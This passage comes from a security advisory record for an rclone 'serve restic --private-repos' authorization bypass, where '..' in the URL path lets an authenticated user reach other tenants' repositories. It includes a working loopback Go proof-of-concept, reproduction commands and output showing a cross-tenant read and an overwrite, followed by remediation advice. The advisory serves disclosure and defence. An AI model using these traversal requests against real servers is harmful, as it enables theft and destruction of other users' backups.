`data/xx` sharding rewrite):\n\n```go\nfunc WithRemote(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tvar urlpath string\n\t\trctx := chi.RouteContext(r.Context())\n\t\tif rctx != nil \u0026\u0026 rctx.RoutePath != \"\" {\n\t\t\turlpath = rctx.RoutePath\n\t\t} else {\n\t\t\turlpath = r.URL.Path\n\t\t}\n\t\turlpath = strings.Trim(urlpath, \"/\")\n\t\tparts := matchData.FindStringSubmatch(urlpath)\n\t\t// ... data/2159dd48 -\u003e data/21/2159dd48 sharding only ...\n\t\tctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t})\n}\n```\n\nRoute wiring (`Bind`): the auth-bearing `{userID}` segment is matched by chi for `checkPrivate`, but the catch-all `/*` that `WithRemote` reads keeps the literal `..`:\n\n```go\nif s.opt.PrivateRepos {\n\trouter.Route(\"/{userID}\", func(r chi.Router) {\n\t\tr.Use(checkPrivate)\n\t\ts.bind(r)\n\t})\n\t...\n}\n```\n\nThe remote stored by `WithRemote` is then used verbatim by the object handlers, e.g. `serveObject` \u2192 `s.newObject(ctx, remote)` \u2192 `s.f.NewObject(ctx, remote)`, `postObject` \u2192 `operations.RcatSize(..., remote, ...)`, and `deleteObject` \u2192 `o.Remove(...)`. For a request `GET /test/../victim/config`, instrumentation shows `checkPrivate` observing `userIDparam=\"test\"` (authorized) while the object remote is `\"test/../victim/config\"` \u2014 the desync is exact.\n\n## Attacker model / precondition\n\nThe attacker is a low-privileged but **legitimately authenticated** user of the server: they hold valid HTTP Basic credentials for their own private repo (this is the normal multi-tenant deployment the flag is designed for \u2014 e.g. a hosting provider giving each customer a restic endpoint). No victim interaction is required.\n\nPreconditions: (1) the operator runs `rclone serve restic` with `--private-repos` and authentication configured (the documented multi-tenant setup); and (2) the served backend resolves object paths with POSIX `path.Join`/`path.Clean` semantics so the `..` collapses before the object is located. This holds for the bundled `memory` backend (used in the self-contained PoC), and for the commonly deployed `sftp` and `ftp` backends, whose object path is computed as `path.Join(f.absRoot, remote)` (`backend/sftp/sftp.go`, `o.path()`), which canonicalizes `..`. It does **not** hold for the `local` backend (which deliberately re-encodes `.`/`..` path components to fullwidth characters in `cleanRootPath`/`localPath`, neutralizing traversal), and S3-style backends treat keys as opaque so a literal `..` key normally will not match a victim object \u2014 so impact is backend-dependent. That backend-dependence is itself the defect: the cross-user authorization boundary must be enforced at the HTTP layer and must not silently rely on a particular backend\u0027s incidental path handling.\n\n## Impact\n\nAcross the per-user trust boundary that `--private-repos` is meant to enforce, any authenticated user can, against any other user\u0027s repository on the same server:\n\n- **Read** (`GET`): download the victim\u0027s restic `config` and `keys/*` files and pack/index objects \u2014 full confidentiality break of the victim\u0027s repository metadata and stored blobs. (Restic encrypts pack contents client-side, but the repository config, key files, snapshot/index structure and object existence all leak, and the master key is recoverable offline by anyone who also knows the victim\u0027s restic password \u2014 i.e. this removes the server-side isolation that was the only barrier.)\n- **Overwrite** (`POST`): replace the victim\u0027s objects with attacker-chosen content, corrupting or poisoning their backups. Blocked only if `--append-only` is set.\n- **Delete** (`DELETE`): remove the victim\u0027s repository objects, destroying their backups. Blocked only if `--append-only` is set (which still allows the read primitive).\n\nThis is a complete bypass of the multi-tenant isolation control, hence C:H/I:H/A:H, gated to PR:L by the need for a valid own-account.\n\n## Proof of Concept (complete \u2014 runs on 127.0.0.1 only)\n\nLab-only. This is a single self-contained Go test placed inside the rclone source tree; it starts an in-process restic server on a loopback `httptest` listener backed by the bundled in-memory backend (which has the same `path.Join` key semantics as the sftp/ftp backends), then sends **raw**, un-normalized HTTP request-targets over a TCP socket (so the `..` is not collapsed client-side). It proves: (1) a user reads their own object \u2014 `200`; (2) a direct cross-tenant request is correctly blocked \u2014 `403`; (3) the `..` bypass reads the victim\u0027s secret \u2014 `200` + leak; (4) the same bypass overwrites the victim\u0027s object \u2014 `200`.\n\nReproduce against the exact vulnerable tag:\n\n```console\ngit clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone\ncd rclone\n# write the test file shown below to cmd/serve/restic/zzz_poc_test.go\ngo test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v\n```\n\n`cmd/serve/restic/zzz_poc_test.go`:\n\n```go\npackage restic\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/rclone/rclone/fs\"\n\t\"github.com/rclone/rclone/fs/config/configfile\"\n\t\"github.com/rclone/rclone/fs/object\"\n\t\"github.com/rclone/rclone/lib/random\"\n\t\"github.com/stretchr/testify/require\"\n\n\t_ \"github.com/rclone/rclone/backend/memory\"\n)\n\nfunc pocBasicAuth(user, pass string) string {\n\treturn base64.StdEncoding.EncodeToString([]byte(user + \":\" + pass))\n}\n\n// rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized)\n// request-target + method + Basic auth, returning the full raw response.\nfunc rawReq(t *testing.T, addr, method, target, user, pass string) string {\n\tconn, err := net.Dial(\"tcp\", addr)\n\trequire.NoError(t, err)\n\tdefer func() { _ = conn.Close() }()\n\tcred := pocBasicAuth(user, pass)\n\treq := fmt.Sprintf(\"%s %s HTTP/1.1\\r\\nHost: x\\r\\nAuthorization: Basic %s\\r\\nConnection: close\\r\\n\\r\\n\", method, target, cred)\n\t_, err = conn.Write([]byte(req))\n\trequire.NoError(t, err)\n\tr := bufio.NewReader(conn)\n\tvar sb strings.Builder\n\tbuf := make([]byte, 8192)\n\tfor {\n\t\tn, err := r.Read(buf)\n\t\tif n \u003e 0 {\n\t\t\tsb.Write(buf[:n])\n\t\t}\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn sb.String()\n}\n\nfunc pocBody(resp string) string {\n\tif idx := strings.Index(resp, \"\\r\\n\\r\\n\"); idx \u003e= 0 {\n\t\treturn resp[idx+4:]\n\t}\n\treturn \"\"\n}\nfunc pocStatus(resp string) string { return strings.SplitN(resp, \"\\r\\n\", 2)[0] }\n\n// TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass\n// on a bucket-style backend (memory: same path.Join semantics as sftp/ftp).\nfunc TestPrivateRepoCrossTenantPoC(t *testing.T) {\n\tconfigfile.Install()\n\tctx := context.Background()\n\n\t// Bucket-style backend shared by all private-repo users.\n\tf, err := fs.NewFs(ctx, \":memory:repos\")\n\trequire.NoError(t, err)\n\n\tput := func(remote, content string) {\n\t\tinfo := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f)\n\t\t_, perr := f.Put(ctx, strings.NewReader(content), info)\n\t\trequire.NoError(t, perr)\n\t}\n\n\t// Victim \"alice\" uploads her restic config under her own private prefix.\n\tsecret := \"ALICE-PRIVATE-RESTIC-CONFIG-\" + random.String(8)\n\tput(\"alice/config\", secret)\n\n\t// Attacker \"mallory\" has her own valid account on the same server.\n\tput(\"mallory/config\", \"mallory-own-config\")\n\n\topt := newOpt()\n\topt.PrivateRepos = true\n\topt.Auth.BasicUser = \"mallory\"\n\topt.Auth.BasicPass = \"password\"\n\topt.HTTP.ListenAddr = nil\n\n\ts, err := newServer(ctx, f, \u0026opt)\n\trequire.NoError(t, err)\n\tts := httptest.NewServer(s.server.Router())\n\tdefer ts.Close()\n\taddr := strings.TrimPrefix(ts.URL, \"http://\")\n\n\t// 1. Sanity: mallory reads her own config -\u003e 200.\n\tr1 := rawReq(t, addr, \"GET\", \"/mallory/config\", \"mallory\", \"password\")\n\tt.Logf(\"[own] GET /mallory/config -\u003e %s body=%q\", pocStatus(r1), pocBody(r1))\n\n\t// 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -\u003e 403.\n\tr2 := rawReq(t, addr, \"GET\", \"/alice/config\", \"mallory\", \"password\")\n\tt.Logf(\"[direct-blocked] GET /alice/config -\u003e %s body=%q\", pocStatus(r2), pocBody(r2))\n\n\t// 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so\n\t// checkPrivate passes, but the object remote collapses to alice/config.\n\tr3 := rawReq(t, addr, \"GET\", \"/mallory/../alice/config\", \"mallory\", \"password\")\n\tleaked := strings.Contains(pocBody(r3), secret)\n\tt.Logf(\"[BYPASS] GET /mallory/../alice/config -\u003e %s leaked=%v body=%q\", pocStatus(r3), leaked, pocBody(r3))\n\n\trequire.Equalf(t, \"HTTP/1.1 200 OK\", pocStatus(r3), \"expected the bypass to return alice\u0027s object\")\n\trequire.Truef(t, leaked, \"expected to read alice\u0027s secret config across the tenant boundary\")\n\n\t// 4. Write bypass too: mallory overwrites alice\u0027s object (append-only off).\n\tr4 := rawReq(t, addr, \"POST\", \"/mallory/../alice/config\", \"mallory\", \"password\")\n\tt.Logf(\"[BYPASS-write] POST /mallory/../alice/config -\u003e %s\", pocStatus(r4))\n}\n```\n\nObserved output (v1.74.3 and master HEAD):\n\n```text\n=== RUN TestPrivateRepoCrossTenantPoC\n zzz_poc_test.go: [own] GET /mallory/config -\u003e HTTP/1.1 200 OK body=\"mallory-own-config\"\n zzz_poc_test.go: [direct-blocked] GET /alice/config -\u003e HTTP/1.1 403 Forbidden body=\"Forbidden\\n\"\n zzz_poc_test.go: [BYPASS] GET /mallory/../alice/config -\u003e HTTP/1.1 200 OK leaked=true body=\"ALICE-PRIVATE-RESTIC-CONFIG-sijejif0\"\n zzz_poc_test.go: [BYPASS-write] POST /mallory/../alice/config -\u003e HTTP/1.1 200 OK\n--- PASS: TestPrivateRepoCrossTenantPoC (0.00s)\nPASS\nok \tgithub.com/rclone/rclone/cmd/serve/restic\t0.022s\n```\n\nThe shipped `TestResticPrivateRepositories` continues to pass alongside this PoC, confirming the intended isolation model (own `200`, direct cross-tenant `403`) is exactly what the `..` request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or `net/http` client would canonicalize the `..` before sending, but `curl --path-as-is`, restic\u0027s own REST client, or any raw socket write preserves it.\n\n## Remediation\n\nEnforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the *same* cleaned value:\n\n- In `WithRemote` (or before `checkPrivate` runs), reject or `path.Clean` the request path and refuse any path containing a `..` element after a leading-slash trim \u2014 e.g. compute `cleaned := path.Clean(\"/\" + strings.Trim(urlpath, \"/\"))` and `403`/`400` if `cleaned` differs from the original or still contains a `..` segment. Then store `cleaned` (minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth.\n- Additionally, in `checkPrivate`, verify that the (cleaned) object remote actually has the authenticated user\u0027s name as its first path segment, rather than trusting the chi `{userID}` route param in isolation: `require strings.HasPrefix(cleanedRemote, userID+\"/\") || cleanedRemote == userID`.\n- Defense in depth: the restic server should canonicalize and `..`-reject incoming object paths even when `--private-repos` is off, so that no backend is relied upon to neutralize traversal.\n\nPlease credit 5ud0 / Tarmo Technologies.",
"id": "GHSA-fqj9-69pf-6pjg",
"modified": "2026-08-05T20:41:22Z",
"published": "2026-08-05T20:41:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/security/advisories/GHSA-fqj9-69pf-6pjg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59733"
},
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/commit/015fd0eba1cb138eef081517795fed47a2873f2d"
},
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/commit/dade21c1616035b044df0eef7ee6a85aeb06a139"
},
{
"type": "PACKAGE",
"url": "https://github.com/rclone/rclone"
},
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/releases/tag/v1.74.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "rclone `serve restic --private-repos` authorization bypass: `..` in the URL path lets an authenticated user read, overwrite and delete other users\u0027 repositories"
}
Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.